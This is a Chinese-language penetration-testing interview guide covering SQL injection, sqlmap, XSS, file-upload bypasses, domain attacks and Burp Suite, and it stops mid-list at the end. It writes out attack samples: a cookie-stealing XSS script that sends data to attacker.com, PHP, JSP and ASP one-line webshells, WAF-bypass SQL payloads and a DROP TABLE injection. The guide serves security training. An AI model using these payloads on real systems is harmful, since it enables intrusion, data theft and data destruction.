本文首先介绍了总体会问的方向,后面进行针对性的扩展。
技术面一般问的时间会很长,范围也比较广泛,本文主要总结会问的问题。
内容总结
面试渗透测试工程师时,面试官通常会重点考察你的实战能力 、理论基础 、工具使用 以及报告撰写与沟通能力。
以下是按模块分类的常见面试题,涵盖了从初级到中高级的考察点:
🛡️ Web 安全基础(核心必问)
这是渗透测试面试中最基础也是最重要的部分,通常围绕 OWASP Top 10 展开。
SQL 注入
- 原理:请解释 SQL 注入的成因。
- 分类:什么是联合查询注入、报错注入、盲注(布尔/时间)?它们的区别是什么?
- 防御:如何防御 SQL 注入?(重点回答:预编译/参数化查询)。
- 场景 :如果过滤了空格、单引号或
union,你有哪些绕过思路?(如双写绕过、编码绕过、内联注释/*!...*/)。 - 工具 :
sqlmap的常用参数有哪些?如何注入 HTTP Header(如User-Agent)?
跨站脚本攻击
- 分类:反射型、存储型、DOM 型 XSS 的区别是什么?
- 利用:XSS 能做什么?(如窃取 Cookie、钓鱼、键盘记录)。
- 防御 :前端过滤和后端过滤的区别?什么是 CSP(内容安全策略)?
HttpOnly的作用是什么?
跨站请求伪造
- 原理:CSRF 与 XSS 的核心区别是什么?(CSRF 利用的是用户的登录状态,XSS 利用的是信任)。
- 防御:如何防御 CSRF?(Token 验证、Referer 检查、SameSite 属性)。
文件上传漏洞
- 绕过 :前端验证绕过、MIME 类型绕过、服务器解析漏洞(如 Apache
.htaccess,Nginx 解析漏洞)、%00 截断。 - 防御:白名单验证、文件重命名、禁止上传目录执行权限。
其他常见漏洞
- XXE:XML 外部实体注入的原理及防御(禁止外部实体加载)。
- SSRF :服务端请求伪造的利用场景(如探测内网端口、读取本地文件
file:///、攻击 Redis 等)。 - 反序列化:PHP/Java/Python 反序列化漏洞的原理及简单利用链。
- 逻辑漏洞:密码重置漏洞、越权访问(水平/垂直越权)、支付漏洞(修改金额/数量)。
💻 内网渗透与域安全(进阶必问)
如果你申请的是中高级岗位,这部分是区分度的关键。
信息收集
- 拿到一台 Webshell 后,你如何进行内网信息收集?(查看系统版本、补丁、安装的软件、网卡信息、路由表、ARP 表)。
- 如何判断当前机器是否在域环境中?
域渗透
- 基础概念:什么是域、域控制器、林、树?
- 攻击手法 :
- 什么是哈希传递攻击?
- 什么是票据传递攻击?
- 什么是黄金票据和白银票据?区别是什么?
- 什么是 Kerberoasting 攻击?
- 横向移动:除了 IPC $ 和 WMI,还有哪些横向移动方式?(如 PsExec、SMBExec、WinRM)。
代理与隧道
- 如何在内网中通过代理访问受限网段?(如
frp,reGeorg,Proxifier)。 - 什么是 Socks5 代理?如何在浏览器或工具中配置?
🛠️ 工具与脚本能力
常用工具
- Burp Suite:模块介绍(Proxy, Repeater, Intruder, Decoder, Comparer)。如何做暴力破解?如何写简单的插件?
- Nmap :常用扫描参数(
-sS,-sV,-O,-p-,--script)。 - Metasploit :常用命令(
search,use,set,exploit,payload)。什么是 MSFvenom?如何生成免杀 Payload? - Cobalt Strike:基本使用,Beacon 的功能,上线方式。
编程能力
- Python:能否手写一个简单的端口扫描器、目录扫描器或 POC 验证脚本?
- Shell/Bash :常用的 Linux 命令(
grep,awk,sed,find,curl)。 - SQL:基本的 SQL 语句(增删改查)。
📝 软技能与流程
渗透测试流程
- 请描述一次完整的渗透测试流程。(信息收集 -> 漏洞扫描 -> 漏洞利用 -> 后渗透 -> 报告撰写 -> 复测)。
报告撰写
- 如果发现了一个高危漏洞,但开发人员认为这不是问题,你如何处理?
- 如何向非技术人员(如老板)解释漏洞的危害?
法律与合规
- 什么是授权?为什么授权很重要?(强调未授权渗透是违法的)。
- 在测试过程中,如何避免对业务造成影响?(如不进行拒绝服务攻击,避开业务高峰期)。
🧠 场景题(考察思维)
- 场景一:给你一个登录框,没有注册功能,你如何测试?(弱口令、SQL注入、万能密码、抓包改包、验证码绕过、用户名枚举)。
- 场景二:目标网站是 HTTPS,但证书报错,你如何测试?(忽略证书错误,关注中间人攻击风险)。
- 场景三:拿到一个 CMS 的源码,如何进行代码审计?(关注危险函数、路由配置、过滤机制)。
- 场景四:内网中有一台 Windows 7 和一台 Windows Server 2008,你优先攻击哪台?为什么?(通常优先攻击旧系统,因为漏洞更多,如 MS17-010 永恒之蓝)。
sql注入
SQL 注入(SQLi)是渗透测试面试中的绝对核心 ,也是考察深度最深的地方。面试官通常会按照原理 -> 类型 -> 绕过 -> 提权 -> 防御的逻辑进行深挖。
结合最新的面试题库(2025-2026年),我为你整理了 SQL 注入的高频面试题及回答思路:
1. 基础原理与成因(必问)
- 原理 :
- 核心定义:攻击者通过 Web 表单或 URL 参数,向后台数据库输入恶意的 SQL 命令,导致数据库执行非预期的操作。
- 成因 :代码层面未对用户输入进行严格的过滤 或转义 ,直接使用字符串拼接的方式构造 SQL 语句。
- 本质:数据与代码的边界被打破,用户输入的数据被当作代码执行了。
- 危害 :
- 数据库信息泄露(拖库)。
- 绕过登录(万能密码)。
- 增删改数据(篡改业务数据)。
- 文件读写(GetShell)。
- 命令执行(通过 UDF 或 MOF 提权)。
2. 注入类型与判断(核心考点)
面试官会问:"SQL 注入有哪些类型?你是如何判断的?"
| 类型 | 特征 | 判断/利用思路 |
|---|---|---|
| 联合查询注入 (Union) | 页面有回显,能直接看到数据。 | 使用 ORDER BY 猜字段数,使用 UNION SELECT 查数据。 |
| 报错注入 (Error-Based) | 页面无数据回显,但显示数据库报错信息。 | 利用 updatexml(), extractvalue() 等函数触发报错,将数据带入报错信息中。 |
| 布尔盲注 (Boolean-Based) | 页面无报错、无回显,但内容随逻辑真假变化(如页面长度、关键词)。 | 构造 AND 1=1 (真) 和 AND 1=2 (假),观察页面差异,逐位猜解。 |
| 时间盲注 (Time-Based) | 页面无任何变化,响应速度随逻辑真假变化。 | 使用 SLEEP(5) 或 BENCHMARK() 函数。如果页面加载延迟 5 秒,说明注入成立。 |
| 堆叠注入 (Stacked) | 支持多语句执行(用分号 ; 分隔)。 |
构造 ; DROP TABLE users; 或 ; INSERT INTO...。 |
| 二次注入 | 输入时转义存储,取出使用时未转义。 | 注册时输入 admin'#,数据库存为 admin\'#,登录时拼接 SQL 导致注释掉后续密码验证。 |
3. 绕过技巧(WAF Bypass)
这是实战中最常问的:"如果过滤了空格、单引号或 union,你怎么办?"
- 绕过空格 :
- 使用注释符:
/!50000union/!50000select(内联注释)。 - 使用括号:
UNION(SELECT...)。 - 使用其他空白符:
%0a(换行),%09(Tab),%0b(垂直Tab)。
- 使用注释符:
- 绕过单引号 :
- 宽字节注入 :在 GBK 编码下,利用
%df'吃掉转义字符\,使单引号闭合。 - 十六进制编码 :将字符串转为 Hex,如
SELECT table_name FROM information_schema.tables WHERE table_name=0x7573657273(users)。
- 宽字节注入 :在 GBK 编码下,利用
- 绕过关键字过滤 (Union/Select) :
- 双写绕过 :如果过滤器将
union替换为空,则传ununionion。 - 大小写混合 :
UnIoN SeLeCt(针对不区分大小写的过滤)。 - URL 编码/双重编码 :
%25union->%union。
- 双写绕过 :如果过滤器将
- 绕过逗号 :
- 使用
LIMIT代替SUBSTR:LIMIT 1 OFFSET 0。 - 使用
FROM语法:SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b。
- 使用
4. 数据库特性与提权
面试官会区分 MySQL 和 SQL Server 的考察。
- MySQL 提权条件 :
- 写入 Webshell :
- 条件:知道物理路径、有文件写入权限 (
secure_file_priv为空)、数据库权限高 (FILE权限)。 - 函数:
INTO OUTFILE或INTO DUMPFILE。
- 条件:知道物理路径、有文件写入权限 (
- UDF 提权 :
- 条件:MySQL < 5.1 或 插件目录可控,拥有
INSERT权限。 - 原理:上传自定义 DLL/SO 文件到插件目录,创建自定义函数执行系统命令。
- 条件:MySQL < 5.1 或 插件目录可控,拥有
- MOF 提权 :
- 条件:Windows 系统,MySQL < 5.5,有写入
C:/Windows/System32/wbem/mof/的权限。
- 条件:Windows 系统,MySQL < 5.5,有写入
- 写入 Webshell :
- SQL Server 特性 :
- 常用存储过程:
xp_cmdshell(执行系统命令)。 - 开启方式:需
SA权限,通过sp_configure开启。
- 常用存储过程:
5. 工具使用(SQLMap)
面试官可能会问:"SQLMap 的常用参数有哪些?"
-u:指定 URL。--data:指定 POST 数据。--cookie:指定 Cookie(用于注入 Header)。-D / -T / -C:指定库/表/列。--dump:导出数据。--os-shell:获取交互式 Shell(需要写入权限)。--tamper:使用脚本绕过 WAF(如space2comment.py)。--technique:指定注入技术(如--technique=B盲注)。
6. 防御与修复(安全开发视角)
这是区分初级和高级的关键。
- 预编译(参数化查询) :
- 核心 :使用
PreparedStatement(Java) 或PDO(PHP)。 - 原理 :SQL 语句的结构在编译时确定,用户输入仅作为参数填入,永远被视为数据,不会被解析为代码。
- 核心 :使用
- ORM 框架 :
- 使用 Hibernate、MyBatis、SQLAlchemy 等框架,它们默认使用预编译。
- 注意 :使用 ORM 时也要避免使用原生 SQL 拼接(如 MyBatis 中的
${}vs#{},${}仍有注入风险)。
- 输入验证 :
- 使用白名单机制,只允许数字或特定字符。
- 最小权限原则 :
- 数据库连接账号不应使用
root或sa,只授予必要的SELECT/INSERT权限,禁止FILE和EXEC权限。
- 数据库连接账号不应使用
- WAF:部署 Web 应用防火墙拦截常见注入特征。
💡 面试回答范例(逻辑闭环)
"关于 SQL 注入,我认为核心在于数据与代码的混淆。
在检测 时,我会先判断注入点类型。如果是 Union 注入,我会用
ORDER BY猜字段;如果是盲注,我会用sqlmap或者写脚本跑布尔/时间延迟。在绕过方面,如果遇到 WAF,我会根据过滤规则尝试内联注释、宽字节或编码绕过。
在利用 上,除了脱库,我会检查
secure_file_priv看能否写 Shell,或者检查是否有提权漏洞。但最重要的防御 手段是预编译(参数化查询),因为它从底层解决了拼接问题。同时配合最小权限原则,即使注入成功也能限制危害。"
sqlmap
在网络安全相关的面试中,关于 SQLmap 的提问通常旨在考察候选人对 SQL 注入原理的理解、工具的熟练程度以及实战经验。以下是面试中可能会遇到的关于 SQLmap 的常见问题,分为基础、进阶和实战场景三类。
🧐 基础概念与命令
这类问题主要考察你是否真正使用过 SQLmap,以及对基本流程的掌握。
-
请简述 SQLmap 的工作原理。
- 回答要点:SQLmap 是一个自动化 SQL 注入工具。它通过向目标 URL 的参数、Cookie、POST 数据等位置发送各种精心构造的 SQL 语句(Payload),然后根据服务器的响应(如页面内容变化、响应时间延迟、数据库报错信息)来判断是否存在注入点,并进一步利用漏洞获取数据库信息。
-
写出几个 SQLmap 最常用的命令参数及其作用。
- 回答要点 :这是一个高频问题,你需要能流利说出几个核心参数。
-u: 指定目标 URL。--dbs: 枚举目标数据库服务器上的所有数据库名。--tables: 获取指定数据库中的所有表名。--columns: 获取指定表中的所有字段名。--dump: 导出指定表或字段的数据。--batch: 自动以默认选项运行,避免交互式提问,适合批量或自动化操作。--os-shell: 在满足特定条件时,获取目标操作系统的交互式 Shell。
- 回答要点 :这是一个高频问题,你需要能流利说出几个核心参数。
-
如何对 POST 请求的注入点(如登录框)进行测试?
- 回答要点 :主要有两种方式。
- 使用
--data参数,后面跟上 POST 请求的数据体。例如:sqlmap -u "http://example.com/login" --data="username=admin&password=123"。 - 更推荐的方式是使用 Burp Suite 等抓包工具,将完整的 HTTP 请求(包括 Headers、Cookies 和 POST 数据)保存到一个文本文件(如
request.txt)中,然后使用-r参数加载该文件。例如:sqlmap -r request.txt。这种方式更准确,能保留所有请求头信息。
- 使用
- 回答要点 :主要有两种方式。
-
SQLmap 支持哪些 SQL 注入技术?
- 回答要点 :SQLmap 支持多种注入技术,可以通过
--technique参数指定。常见的有:- B: Boolean-based blind (布尔盲注)
- E: Error-based (报错注入)
- U: UNION query (联合查询注入)
- S: Stacked queries (堆叠查询注入)
- T: Time-based blind (时间盲注)
- 回答要点 :SQLmap 支持多种注入技术,可以通过
⚙️ 进阶原理与技巧
这类问题考察你对工具底层逻辑和高级功能的理解。
-
--level和--risk参数有什么区别?在什么情况下会调整它们?- 回答要点 :
--level(探测等级):范围是 1-5,默认是 1。等级越高,SQLmap 测试的位置越多。Level 1 只测试 URL 参数;Level 2 会额外测试 HTTP Cookie;Level 3 会测试 User-Agent 和 Referer 等 HTTP 头。当怀疑注入点在 Cookie 或其他请求头中时,需要提高 level。--risk(风险等级):范围是 1-3,默认是 1。等级越高,使用的 Payload 越激进,可能对数据库造成更大影响(如进行更多次的查询、尝试更复杂的注入)。在常规测试中保持默认即可,在 CTF 或深度渗透时可能会提高到 2 或 3。
- 回答要点 :
-
SQLmap 的
--os-shell功能是如何实现的?需要满足哪些条件?- 回答要点 :这是一个经典的原理性问题。
--os-shell并非直接获取 Shell,其本质是利用 SQL 注入漏洞,在数据库服务器上写入一个 WebShell 文件,然后通过访问这个 WebShell 来执行系统命令。 - 需要满足的条件 :
- 数据库用户具有高权限 :例如 MySQL 的
root用户,至少需要有FILE权限。 - 知道网站的物理绝对路径:需要知道 Web 目录在哪里,才能把 WebShell 写到能被 Web 服务器访问的位置。
- 数据库配置允许文件写入 :例如 MySQL 的
secure_file_priv配置项不能限制文件导出。
- 数据库用户具有高权限 :例如 MySQL 的
- 回答要点 :这是一个经典的原理性问题。
-
如何使用 SQLmap 绕过 WAF(Web应用防火墙)?
- 回答要点 :SQLmap 提供了多种绕过手段。
--tamper参数 :这是最主要的方式。SQLmap 内置了大量的 tamper 脚本,用于对 Payload 进行编码、混淆和替换。例如space2comment(用注释符替换空格)、charunicodeencode(字符编码) 等。--delay参数:设置请求延迟,降低扫描速度,避免触发 WAF 的频率限制。--random-agent参数:随机更换 User-Agent,避免被 WAF 识别为扫描器。- 使用代理 (
--proxy):通过代理 IP 隐藏真实来源。
- 回答要点 :SQLmap 提供了多种绕过手段。
-
SQLmap API 是什么?有什么用途?
- 回答要点:SQLmap API 是一个基于 JSON 的接口服务,允许用户以编程方式(而非命令行)与 SQLmap 进行交互。
- 用途:主要用于将 SQLmap 集成到自动化平台、扫描器或自定义脚本中。通过 API,你可以创建扫描任务、配置参数、启动扫描、获取状态和结果,非常适合批量自动化测试场景。
🎯 实战场景与排错
这类问题考察你解决实际问题的能力。
-
如果目标网站有登录验证,如何使用 SQLmap 测试登录后的页面?
- 回答要点 :核心是带上认证信息。最常用的方法是使用 Burp Suite 抓取一个已登录状态下的完整请求包,保存为
request.txt文件,然后使用sqlmap -r request.txt命令。SQLmap 会自动读取文件中的 Cookie 或其他认证信息。也可以手动指定--cookie参数。
- 回答要点 :核心是带上认证信息。最常用的方法是使用 Burp Suite 抓取一个已登录状态下的完整请求包,保存为
-
扫描过程中,你发现 SQLmap 的 User-Agent 被 WAF 拦截了,你会怎么办?
- 回答要点 :
- 使用
--random-agent参数,让 SQLmap 随机使用常见的浏览器 User-Agent。 - 使用
-A参数手动指定一个正常的 User-Agent 字符串。 - 结合
-r参数,使用一个包含正常 User-Agent 的请求文件。
- 使用
- 回答要点 :
-
在什么情况下,你会选择使用
-r参数加载请求文件,而不是-u和--data?- 回答要点 :当目标请求比较复杂时,
-r是更优选择。例如:- 请求包含复杂的、自定义的 HTTP 头。
- 注入点可能在某个不常见的 Header 中(如
X-Forwarded-For)。 - POST 数据格式不是简单的
key=value,而是 JSON 或 XML。 - 需要精确复现一个包含 Cookie、Referer 等信息的特定请求。
- 回答要点 :当目标请求比较复杂时,
-
如何对多个 URL 进行批量扫描?
- 回答要点 :将所有待测试的 URL 保存到一个文本文件(如
urls.txt)中,每行一个 URL。然后使用-m参数指定该文件。例如:sqlmap -m urls.txt --batch。
- 回答要点 :将所有待测试的 URL 保存到一个文本文件(如
XSS 的详细面试题及扩展补充:
1. 基础原理与分类(必问)
这部分主要考察你对概念的清晰度,不要只背定义,要说出区别。
- XSS 的三种分类及区别:
- 反射型(Reflected): 非持久化。恶意脚本包含在 URL 中,通过诱使用户点击链接触发。数据不经过数据库存储,直接从服务器"反射"回来。
- 存储型(Stored/Persistent): 持久化。恶意脚本被存储在服务端(如数据库、留言板、用户资料),用户访问页面时自动执行。危害最大。
- DOM 型(DOM-based): 不经过服务端。完全由前端 JavaScript 代码处理用户输入(如
location.hash、document.write)导致。服务端响应包中通常不包含恶意 payload。
- XSS 与 CSRF 的区别:
- XSS: 利用用户对网站的信任,以用户身份执行脚本(侧重于窃取数据、钓鱼)。
- CSRF: 利用网站对用户浏览器的信任,伪造用户请求(侧重于执行操作,如转账、改密)。
2. 漏洞挖掘与绕过技巧(实战核心)
面试官会问:"如果过滤了 <script> 标签,你怎么办?"或者"如何测试 DOM 型 XSS?"
- 常见绕过姿势(WAF Bypass):
- 大小写混合:
<ScRiPt> - 双写绕过:
<scr<script>ipt>(针对一次过滤) - 编码绕过: URL 编码、HTML 实体编码(
alert(1))、Base64 编码。 - 利用其他标签/属性: 不使用
<script>,改用<img src=x onerror=alert(1)>、<svg onload=...>、<iframe>、<body onload=...>。 - 利用 JavaScript 协议:
<a href="javascript:alert(1)">click</a>。 - 注释与干扰: 利用
<!-- -->或换行符绕过正则匹配。
- 大小写混合:
- DOM 型 XSS 的特殊测试:
- 触发点: 关注
document.location、document.URL、document.referrer、window.name等来源。 - 危险函数(Sink):
eval()、innerHTML、outerHTML、document.write()、setTimeout()。 - 检测难点: 响应包中看不到 payload,必须使用浏览器开发者工具(F12)或无头浏览器(Headless Chrome)进行动态调试。
- 触发点: 关注
3. 防御与修复(考察安全开发能力)
这是区分初级和高级测试人员的关键,你需要懂得如何从代码层面修复漏洞。
- 输入过滤(Input Validation):
- 白名单机制: 只允许预期的字符(如字母数字)。
- 黑名单机制: 过滤
<,>,',",&等特殊字符(容易被绕过)。
- 输出编码(Output Encoding/Escaping):
- HTML 实体编码: 将
<转义为<,>转义为>。 - 上下文感知: 在
<script>标签内、HTML 属性内、URL 参数中,编码方式不同(如 JS 中需转义\u003c)。
- HTML 实体编码: 将
- HTTP 安全头:
- CSP(内容安全策略): 配置
Content-Security-Policy,限制脚本只能加载同源或指定域名的资源,禁止内联脚本(unsafe-inline)。 - HttpOnly: 在 Cookie 中设置
HttpOnly属性,禁止 JavaScript 读取 Cookie,防止 Session 劫持。 - X-XSS-Protection: 旧版浏览器的防御机制(
1; mode=block)。
- CSP(内容安全策略): 配置
- 框架防护:
- React/Vue/Angular 等现代框架默认会对输出内容进行转义(除非使用
dangerouslySetInnerHTML等危险方法)。
- React/Vue/Angular 等现代框架默认会对输出内容进行转义(除非使用
4. 高阶利用与场景题(加分项)
- XSS 窃取 Cookie 流程:
- 构造恶意 JS:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>。 - 前提条件:Cookie 未设置
HttpOnly。
- 构造恶意 JS:
- XSS 蠕虫(XSS Worm):
- 原理: 利用存储型 XSS,攻击者访问页面后,脚本自动修改用户资料(如签名、简介),将恶意代码传播给下一个访问者。
- 必要条件: 存储型漏洞 + 能够修改页面内容(如留言板、个人签名)+ 自动触发机制(如
window.onload或setInterval)。
- XSS 盲打(Blind XSS):
- 场景: 攻击代码存储在服务端(如客服工单、User-Agent 日志),攻击者看不到回显,但管理员在后台查看时会触发。
- 利用: 使用
fetch()或XMLHttpRequest将管理员的 Cookie 或页面内容外带到攻击者的服务器(DNSLog 或 Collaborator)。 - 内网利用: 如果 XSS 发生在内网系统,可以通过 JS 扫描内网端口(如
192.168.1.1:8080),探测内网资产。
- jQuery 相关漏洞:
- 面试官可能会问 jQuery 中的高危函数,如
$.html()、$().append(),如果传入未过滤的用户输入会导致 XSS。
- 面试官可能会问 jQuery 中的高危函数,如
5. 总结表格(面试速记)
| 考察维度 | 关键词/核心点 |
|---|---|
| 原理 | 注入、执行、信任关系、反射/存储/DOM |
| 挖掘 | Burp Suite、F12 调试、Payload 构造、DOM 跟踪 |
| 绕过 | 编码、大小写、双写、事件句柄 (onerror)、标签替换 |
| 防御 | HttpOnly (防窃密)、CSP (防执行)、实体编码 (防注入) |
| 利用 | 盗取 Cookie、钓鱼、键盘记录、内网扫描、蠕虫传播 |
回答建议:
在面试中,如果被问到 XSS,建议按照 "原理 -> 分类 -> 挖掘/绕过 -> 防御 -> 危害" 的逻辑闭环来回答。例如:"XSS 本质是恶意脚本在受害者浏览器执行。主要分为反射、存储和 DOM 型。在挖掘时,我会先用 Burp Suite 抓包测试,如果遇到过滤,我会尝试大小写或编码绕过。防御方面,最有效的是后端输出编码和设置 CSP 策略,同时 Cookie 必须开启 HttpOnly 防止会话劫持。"
文件上传漏洞面试全攻略:
1. 基础原理与分类
面试官可能会问:"简单介绍一下文件上传漏洞"或"文件上传漏洞是如何产生的?"
- 核心原理 :Web 应用程序允许用户上传文件,但未对上传的文件进行严格的验证(如文件类型、内容、后缀名),导致攻击者可以上传恶意脚本文件(Webshell),并在服务器上执行,从而获取服务器控制权。
- 漏洞分类 :
- 任意文件上传 :没有任何限制,直接上传
.php或.jsp即可。 - 受限文件上传:存在黑名单、白名单、MIME 类型检测等限制,需要绕过。
- 任意文件上传 :没有任何限制,直接上传
2. 绕过技巧(面试重灾区)
这是面试中最常问的部分,通常会问:"如果后端过滤了后缀名,你有哪些绕过思路?"你需要根据防御手段的不同,给出具体的对抗方案。
前端验证绕过
- 现象:上传非法文件时,JS 弹出警告框,没有网络请求。
- 绕过 :
- 浏览器禁用 JavaScript。
- 使用 Burp Suite 抓包,直接修改文件后缀上传。
- 修改前端 HTML 代码,去掉
accept属性或校验函数。
MIME 类型绕过
- 原理 :服务端只检查 HTTP 请求头中的
Content-Type字段。 - 绕过 :使用 Burp Suite 抓包,将
Content-Type: application/octet-stream或application/x-php修改为白名单类型,如image/jpeg、image/png。
后缀名黑名单绕过
- 原理 :服务端维护了一个禁止上传的后缀列表(如
.php,.jsp)。 - 绕过 :
- 大小写绕过 :在 Windows 下,
.PhP、.pHp可能被识别为 PHP 文件。 - 双写绕过 :如果过滤器只是简单替换为空,上传
.phpphp可能被过滤成.php。 - 特殊后缀 :尝试
.php3,.php5,.phtml,.shtml,.asa,.asax等不常见的可解析后缀。 - 空格与点 :在 Windows 下,
.php.或.php(末尾空格)会被系统自动去除,变成.php。
- 大小写绕过 :在 Windows 下,
后缀名白名单绕过(配合解析漏洞)
- 原理 :服务端只允许上传
.jpg,.png等图片后缀。 - 绕过(利用中间件解析漏洞) :
- Apache :利用
.htaccess文件,配置AddType application/x-httpd-php .jpg,让服务器将.jpg当作 PHP 执行。或者利用 Apache 解析漏洞(旧版本),上传test.php.jpg,Apache 可能会将其作为 PHP 执行。 - IIS 6.0 :目录解析漏洞(
test.asp/1.jpg)或分号解析漏洞(test.asp;.jpg)。 - Nginx :低版本存在解析漏洞,如
test.jpg/.php。 - %00 截断 :在 PHP < 5.3.4 且
magic_quotes_gpc=Off时,上传test.php%00.jpg,服务器会在%00处截断,保存为test.php。
- Apache :利用
文件内容/文件头绕过
- 原理:服务端检查文件内容的开头字节(幻数/Magic Number)来判断是否为图片。
- 绕过 :
- 图片马 :在恶意脚本文件头部添加图片文件头。例如,在 PHP 木马前加上
GIF89a。 - 命令合并 :Linux 下使用
copy /b test.jpg+test.php shell.jpg制作图片马。 - 二次渲染绕过:如果服务器对图片进行了二次渲染(压缩/Resize),普通的图片马代码会被破坏。此时需要使用更高级的技巧,如在图片的元数据(EXIF/IPTC)中插入代码,或者利用 GIF 的注释块。
- 图片马 :在恶意脚本文件头部添加图片文件头。例如,在 PHP 木马前加上
3. 漏洞利用与后渗透
上传成功不代表就能直接连接,面试官可能会问:"上传了木马但无法连接,可能是什么原因?"
- 常见的一句话木马 :
- PHP:
<?php @eval($_POST['pass']);?> - JSP:
<%if(request.getParameter("f")!=null)...%> - ASP:
<%eval(Request.Item["pass"],"unsafe");%>
- PHP:
- 连接工具:蚁剑 (AntSword)、冰蝎 (Behinder)、哥斯拉 (Godzilla)、中国菜刀 (Chopper)。
- 无法连接/不解析的原因 :
- 目录无执行权限:上传目录被配置为禁止执行脚本(推荐的安全配置)。
- 文件被重命名 :后端使用了随机数重命名(如
md5(uniqid()).jpg),导致无法预测文件名。 - 站库分离/架构问题:文件服务器是静态资源服务器(如 Nginx 只托管静态文件),不支持 PHP/JSP 解析。
- 文件被杀毒软件拦截:服务器安装了安全软件(如 D 盾、火绒),直接删除了木马。
- 无法执行脚本的替代利用方式(GetShell 失败后的思路) :
- 结合文件包含漏洞 (LFI) :上传的文件虽然不执行,但可以通过文件包含漏洞(
include('uploads/shell.jpg'))来执行代码。 - 上传钓鱼页面:上传一个伪造的登录页面(HTML),诱导管理员输入密码。
- 上传 SVG/XSS:上传包含恶意 JS 的 SVG 图片,当管理员查看图片时触发存储型 XSS,窃取管理员 Cookie。
- 覆盖文件:如果文件名可控,尝试覆盖网站的关键配置文件或首页。
- 结合文件包含漏洞 (LFI) :上传的文件虽然不执行,但可以通过文件包含漏洞(
4. 防御与修复方案(企业级视角)
面试官会考察你是否具备安全开发的思维。
- 文件类型验证 :
- 白名单机制 :只允许上传特定的安全后缀(如
.jpg,.png,.pdf)。 - 内容检测 :不仅检查后缀,还要检查文件头(Magic Number),最好使用第三方库(如 Python 的
python-magic)进行解析验证。
- 白名单机制 :只允许上传特定的安全后缀(如
- 文件存储安全 :
- 重命名:上传后使用随机字符串(如 UUID、MD5)重命名文件,防止攻击者预测文件名。
- 目录权限 :上传目录禁止执行权限(在 Nginx/Apache 配置中设置)。
- 分离存储:将文件服务器与 Web 服务器分离,或者使用对象存储(如 OSS、S3),确保上传的文件仅作为静态资源处理,不解析脚本。
- 其他措施 :
- 二次渲染:对上传的图片进行重新压缩或缩放,破坏可能存在的恶意代码。
- WAF 防护:部署 Web 应用防火墙拦截恶意上传请求。
5. 总结表格(面试速记)
| 防御手段 | 绕过/攻击思路 |
|---|---|
| 前端 JS 验证 | 禁用 JS、Burp 抓包修改 |
| MIME 类型检测 | 抓包修改 Content-Type 为 image/jpeg |
| 黑名单过滤 | 大小写 (.PhP)、特殊后缀 (.php5)、空格/点 (.php.)、双写 |
| 白名单过滤 | 配合解析漏洞 (.htaccess, IIS 分号)、%00 截断 (老版本) |
| 文件头检测 | 制作图片马 (GIF89a + 代码)、修改元数据 |
| 二次渲染 | 很难绕过,通常利用 GIF 注释块或寻找不处理的字段 |
| 目录无权限 | 结合文件包含漏洞、上传钓鱼页、上传 SVG 进行 XSS |
回答建议:
在面试中,建议按照 "检测 -> 绕过 -> 利用 -> 修复" 的逻辑进行回答。例如:"遇到文件上传点,我首先会尝试上传正常的 PHP 木马看是否拦截。如果拦截,我会检查是前端验证还是后端验证。如果是黑名单,我会尝试大小写或特殊后缀绕过;如果是白名单,我会考虑解析漏洞或配合文件包含漏洞。修复方面,最重要的是使用白名单验证文件类型,并重命名文件,同时关闭上传目录的执行权限。"
bp的使用方法
面试官问 Burp Suite(简称 BP)通常是为了验证你的实战经验。他们不关心你知不知道 BP 是什么,而是想知道你用它做过什么 以及遇到复杂情况怎么处理。
面试中关于 BP 的提问通常分为三个层次:基础模块认知 、实战场景应用 以及高级功能(插件/脚本)。以下是详细的面试考点整理:
🛠️ 核心模块与基础功能(必问)
面试官会考察你是否熟练掌握 BP 的日常工作流。
Proxy(代理模块)
- 抓包与改包:如何拦截请求并修改参数?(这是最基础的)。
- 拦截规则:如何设置拦截规则(Intercept is on/off),比如只拦截特定域名的请求?
- HTTPS 证书:如何配置浏览器代理以抓取 HTTPS 包?(导入 CA 证书)。
- 常见操作 :右键菜单中常用的功能有哪些?(如
Send to Repeater,Send to Intruder,Do intercept,Copy as curl)。
Repeater(重放模块)
- 用途:这是渗透测试中使用频率最高的模块。用于手动修改参数并重发请求,观察响应。
- 场景 :
- 测试 SQL 注入(手动闭合单引号)。
- 测试越权(修改 ID 参数)。
- 测试逻辑漏洞(修改金额、数量)。
- 查看响应包的长度变化(判断注入点或盲注)。
Intruder(暴力破解/ fuzz 模块)
- 四种攻击模式(高频考点) :
- Sniper(狙击手):使用一个字典,依次替换每一个设定的位置。适合单参数 fuzz。
- Battering ram(攻城锤):使用一个字典,同时替换所有设定的位置(所有位置用同一个值)。
- Pitchfork(草叉):使用多个字典,一一对应(第一行对第一行)。适合用户名/密码一一对应的字典。
- Cluster bomb(集束炸弹):笛卡尔积组合(所有字典的所有值两两组合)。适合爆破两位数的验证码或简单的账号密码组合。
- 实战场景 :
- 后台登录爆破 :设置用户名和密码两个位置,选择
Pitchfork或Cluster bomb。 - 验证码绕过:如果验证码在 URL 中且不变,如何爆破?
- Fuzz 目录/参数:配合字典测试隐藏页面或参数名。
- 后台登录爆破 :设置用户名和密码两个位置,选择
Decoder(编解码模块)
- 功能:Encode/Decode。
- 常见编码:URL, HTML, Base64, Hex, ASCII。
- 智能解码:Smart decode 的作用(自动识别编码并解码)。
- 场景 :
- 看到响应包里有 Base64 字符串,解码看看是不是敏感信息。
- 测试 SQL 注入时,对 payload 进行 URL 编码绕过 WAF。
Comparer(对比模块)
- 功能:对比两个响应包(Response)的差异。
- 场景 :
- 盲注判断 :对比
id=1和id=1'的响应包长度或内容差异。 - 登录爆破:对比登录成功和失败的响应包长度/状态码。
- 盲注判断 :对比
🚀 高级功能与实战技巧(加分项)
这部分能体现你是否具备中高级渗透测试能力。
配合其他工具(联动)
- BP + SQLMap :
- 如何在 BP 中复制请求(Copy to clipboard),然后传给 SQLMap 进行自动化注入?(
sqlmap -r request.txt)。 - 或者配置 SQLMap 的
--proxy参数指向 BP。
- 如何在 BP 中复制请求(Copy to clipboard),然后传给 SQLMap 进行自动化注入?(
- BP + 浏览器插件 :
- 使用 FoxyProxy 或 SwitchyOmega 快速切换代理。
- 使用 HaE 或 Xposed.js 等插件高亮敏感信息(如手机号、身份证、邮箱)。
插件中心(Extender / BApp Store)
面试官可能会问:"你用过哪些 BP 插件?"
- 被动扫描增强 :
- Gopherus:生成 SSRF 利用 payload。
- Logger++:比自带的历史记录更强大,方便筛选和搜索流量。
- 主动扫描/漏洞检测 :
